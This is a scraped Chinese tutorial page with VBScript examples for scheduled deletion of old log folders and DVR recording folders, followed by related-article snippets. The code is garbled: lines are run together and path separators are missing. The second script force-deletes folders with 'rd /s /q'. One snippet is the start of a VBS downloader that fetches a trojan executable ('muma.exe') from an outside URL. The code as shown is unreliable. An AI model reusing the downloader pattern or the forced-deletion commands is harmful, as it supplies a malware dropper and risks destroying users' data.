vbs 定时删除功能实现代码
参考代码一:
Function DeleteLog( )
Dim objFSO, objFolder, strPath, targetFSO, subFSO, DirPath
DirPath = createobject("Scripting.FileSystemObject").GetFile(Wscript.ScriptFullName).ParentFolder.Path&"Log"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set targetFSO = objFSO.GetFolder(DirPath)
Set subFSO = targetFSO.SubFoldersFor Each subFolder in SubFSO
If DateDiff("d", subFolder.name, date)>3 Then
strPath = DirPath&subFolder.name
objFSO.DeleteFolder(strPath)
End If
Next
End Function
Call DeleteLog( )
这样在task Schdeuler里面schedule我的vbs程序就没有报错啦。撒花,结贴~~
参考代码二:
Dim dqxs, dqrq, szxs, szfz, dqml, datp
Dim jclb
Dim c
dim d
'=========================================================
datp = "F:"
szxs = "7:00:"
wjml = datp & "DVRDat"
sykj = 20000000000 '20个G
dqml = left(wscript.scriptfullname,instrrev(wscript.scriptfullname,"")-1)
jclb = "ServicesManager.exe,PD_Server.exe,SpeedServer.exe,CoreServer.exe,DownloadSVC.exe,ManagerConsole.exe,Gptsvr.exe,HintAMProxy.exe,FileServer.exe,CleanDisk.exe,GetNetData.exe,SGUClient.exe,SGUServer.exe,"
set WshShell = WScript.CreateObject("WScript.Shell")
Set fso = Wscript.CreateObject("Scripting.FileSystemObject")
'=========================================================
if fso.GetDrive(datp).FreeSpace < sykj then call cprlql
do
If InStr(time, szxs) <> 0 Then
if fso.GetDrive(datp).FreeSpace < sykj then call cprlql
end if
WScript.Sleep(60*1000)
loopgetfso=fso.GetFolder("c:\windows").DateCreated
'===========================================================
Function cprlql
Dim strline, scml
WshShell.run "cmd /c dir " & wjml &" /ad /b /tc>c:dir.log",0
if fso.FileExists("c:dir.log") then
Set objFile = fso.OpenTextFile("c:dir.log")
do until objFile.atendofstream
strline = objFile.readline
scml = wjml & strline
WshShell.run "cmd /c rd /s /q " & scml,0
for i = 1 to 20
if fso.GetDrive(datp).FreeSpace > sykj then exit Function
if fso.FolderExists(scml) then
WScript.Sleep(1000)
else
exit for
end if
next
if fso.GetDrive(datp).FreeSpace > sykj then exit Function
loop
end if
End Function
VBS下载者(通过vbscript实现文件下载)
一、VBS下载者:SetPost=CreateObject("Msxml2.XMLHTTP")SetShell=CreateObject("Wscript.Shell")Post.Open"GET","http://www.jbzj.com/muma.exe",0Post.Send()SetaGet=CreateObject("ADODB.Stream")aGet.Mode
Wscript 和 Cscript 运行脚本的区别详解
WSCRIPT与CScript区别窗口中运行,WSCRIPT;命令行中运行,CScrip;cscript因为把输出放进了控制台所以可以对它重定向方便程序调用wscript直接用窗口输出适合调
VBScript版的PHP extract()函数
写过PHP的都知道,其有个extract()非常方便,可以便捷的将字典转换为变量,当然到ASP中则要受限很多,特别是VBScript脚本,本文叙述的就是一种转换的